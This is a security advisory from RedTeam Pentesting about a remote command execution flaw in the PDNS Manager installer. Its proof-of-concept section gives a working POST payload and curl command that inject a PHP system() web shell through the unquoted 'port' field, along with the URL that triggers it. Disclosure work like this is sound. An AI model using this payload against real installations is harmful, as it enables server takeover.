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[RT-SA-2017-011] Remote Command Execution in PDNS Manager



Advisory: Remote Command Execution in PDNS Manager

RedTeam Pentesting discovered that PDNS Manager is vulnerable to a
remote command execution vulnerability, if for any reason the
configuration file config/config-user.php does not exist.


Details
=======

Product: PDNS Manager
Affected Versions: Git master 3bf4e28 (2016-12-12) - 2bb00ea (2017-05-22)
Fixed Versions: <= v1.2.1, >= Git Commit ccc4232
Vulnerability Type: Remote Command Execution
Security Risk: medium 
Vendor URL: https://pdnsmanager.lmitsystems.de/
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2017-011
Advisory Status: published
CVE: GENERIC-MAP-NOMATCH
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH


Introduction
============

"PDNS Manager is a simple yet powerful administration tool for the
Powerdns authoritative nameserver."
"PNDS Manager was developed from scratch to achieve a user-friendly and
pretty looking interface."
(from project website) [0]


More Details
============

PDNS Manager includes two files used for installation purposes,
install.php and api/install.php. The documentation tells users to start
the installation by navigating to install.php and filling out the form that is
presented there to create a database connection and an admin account. When
submitted, an HTTP POST request with the configuration data is sent to
api/install.php. The data is first validated in api/install.php by using it to
connect to the database:

------------------------------------------------------------------------
try {
        $db = new PDO("$input->type:dbname=$input->database;host=$input->host;port=$input->port", $input->user, $input->password);
}
catch (PDOException $e) {
    $retval['status'] = "error";
    $retval['message'] = serialize($e);
}
------------------------------------------------------------------------

As long as a valid database connection can be made with the data from
the POST request, the installation process continues. The configuration is
written to the file config/config-user.php which then gets included from
config/config-default.php:

------------------------------------------------------------------------
$configFile = Array();

$configFile[] = '<?php';
$configFile[] = '$config[\'db_host\']=\''.addslashes($input->host)."';";
$configFile[] = '$config[\'db_user\']=\''.addslashes($input->user)."';";
$configFile[] = '$config[\'db_password\']= \''.addslashes($input->password)."';";
$configFile[] = '$config[\'db_name\']=\''.addslashes($input->database)."';";
$configFile[] = '$config[\'db_port\']='.addslashes($input->port).";";
$configFile[] = '$config[\'db_type\']=\''.addslashes($input->type)."';";

$retval['status'] = "success";
try {
    file_put_contents("../config/config-user.php", implode("\n", $configFile));
}
------------------------------------------------------------------------

At the very beginning of install.php, it is checked whether the file
config/config-user.php already exists. If this is the case, further
execution of the installation process is aborted:

------------------------------------------------------------------------
if(file_exists("../config/config-user.php")) {
    echo "Permission denied!";
    exit();
}
------------------------------------------------------------------------

However, the installation files are not removed and can therefore still
be accessed. In consequence, attackers can (re-)run the installation
process as long as the file config/config-user.php does not exist. This
can be the case if either the installation routine was indeed not yet
run, or the configuration details were added manually, e.g. by entering
them directly into the file config/config-default.php.

The provided configuration data is not verified for semantic or
syntactic correctness in any way. Only the PHP function addslashes() is
used for all inputs, to mask single quotes, double quotes and
backslashes. While this prevents adding malicious input to the
configuration values which are set in single quotes, the port, which is
expected to be numeric, is not enclosed in single quotes, making it
vulnerable to code injection. Therefore, an HTTP POST request with a
manipulated port value like the following could be sent to the
installer:

------------------------------------------------------------------------
POST /api/install.php HTTP/1.1
Host: example.com
[...]
Connection: close

{
    "host":"attacker-system.example.com",
    "user":"root",
    "password":"secret",
    "database":"pdnsdb",
    "port":"3306;system($_GET[chr(99).chr(109).chr(100)])",
    "userName":"administrator",
    "userPassword":"password",
    "type":"mysql"
}
------------------------------------------------------------------------

To bypass the problem that the addslashes() function prevents the usage
of single or double quotes for the GET variable name, it was instead
encoded with the chr() function and decodes to the string "cmd".

PDNS Manager since Git commit 3bf4e28[1] from 12 December 2016 uses the
PHP PDO class for establishing a database connection. Since the PDO
class is quite liberal in what it accepts in its Data Source Name
parameter, the configuration parameters as shown above are accepted and
allow for a valid database connection, as the additional data in the
"port" parameter is ignored by the PDO class. Finally, the file
config/config-user.php will be written with the following content:

------------------------------------------------------------------------
<?php
$config['db_host'] = 'example.com';
$config['db_user'] = 'root';
$config['db_password'] = 'secret';
$config['db_name'] = 'pdnsdb';
$config['db_port'] = 3306;system($_GET[chr(99).chr(109).chr(100)]);
$config['db_type'] = 'mysql';
------------------------------------------------------------------------

As config/config-user.php is a normal, executable PHP file, commands can
now be executed on the affected system by requesting the following URL:

------------------------------------------------------------------------
http://example.com/config/config-user.php?cmd=uname%20-a
------------------------------------------------------------------------


Proof of Concept
================

1. Check if install.php is still available and can be used to write a new
configuration by visiting the following URL:

http://example.com/install.php

2. Set up a database that PDNS Manager can connect to.

3. Send an HTTP POST request with a manipulated "port" parameter, e.g.

------------------------------------------------------------------------
curl -H 'Content-Type: application/json' --data \
'{"host":"attacker-system.example.com", \
"user":"root", \
"password":"secret", \
"database":"pdnsdb", \
"port":"3306;system($_GET[chr(99).chr(109).chr(100)])", \
"userName":"administrator", \
"userPassword":"password", \
"type":"mysql"}' \
http://example.com/api/install.php
------------------------------------------------------------------------

4. Run arbitrary commands:

------------------------------------------------------------------------
http://example.com/config/config-user.php?cmd=uname%20-a
------------------------------------------------------------------------


Workaround
==========

Ensure that config/config-user.php exists.


Fix
===

The problem was fixed in the Git master branch in commit ccc4232[2].
Alternatively, the stable version v1.2.1 and earlier are not affected.


Security Risk
=============

The vulnerability is deemed to be of medium risk. The number of
installations that are configured in the way described should be rather
low, as it is not the recommended way of installing PDNS Manager and the
development version of PDNS Manager needs to have been used. However, if
such a configuration is found, arbitrary PHP code can be run on the
system. Depending on the system's configuration, this can lead to a full
compromise of the host running PDNS Manager.


Timeline
========

2017-05-16 Vulnerability identified
2017-06-16 Customer approved disclosure to vendor
2017-06-27 Vendor notified
2017-06-29 Vendor released fixed version
2017-07-05 Advisory released


References
==========

[0] https://pdnsmanager.lmitsystems.de/
[1] https://github.com/loewexy/pdnsmanager/commit/3bf4e2874a0120d99ae02a1a9f4a6e74094c7dc1
[2] https://github.com/loewexy/pdnsmanager/commit/ccc423291cb0e6f8c58849f71821e7425b7c030e


RedTeam Pentesting GmbH
=======================

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=============================

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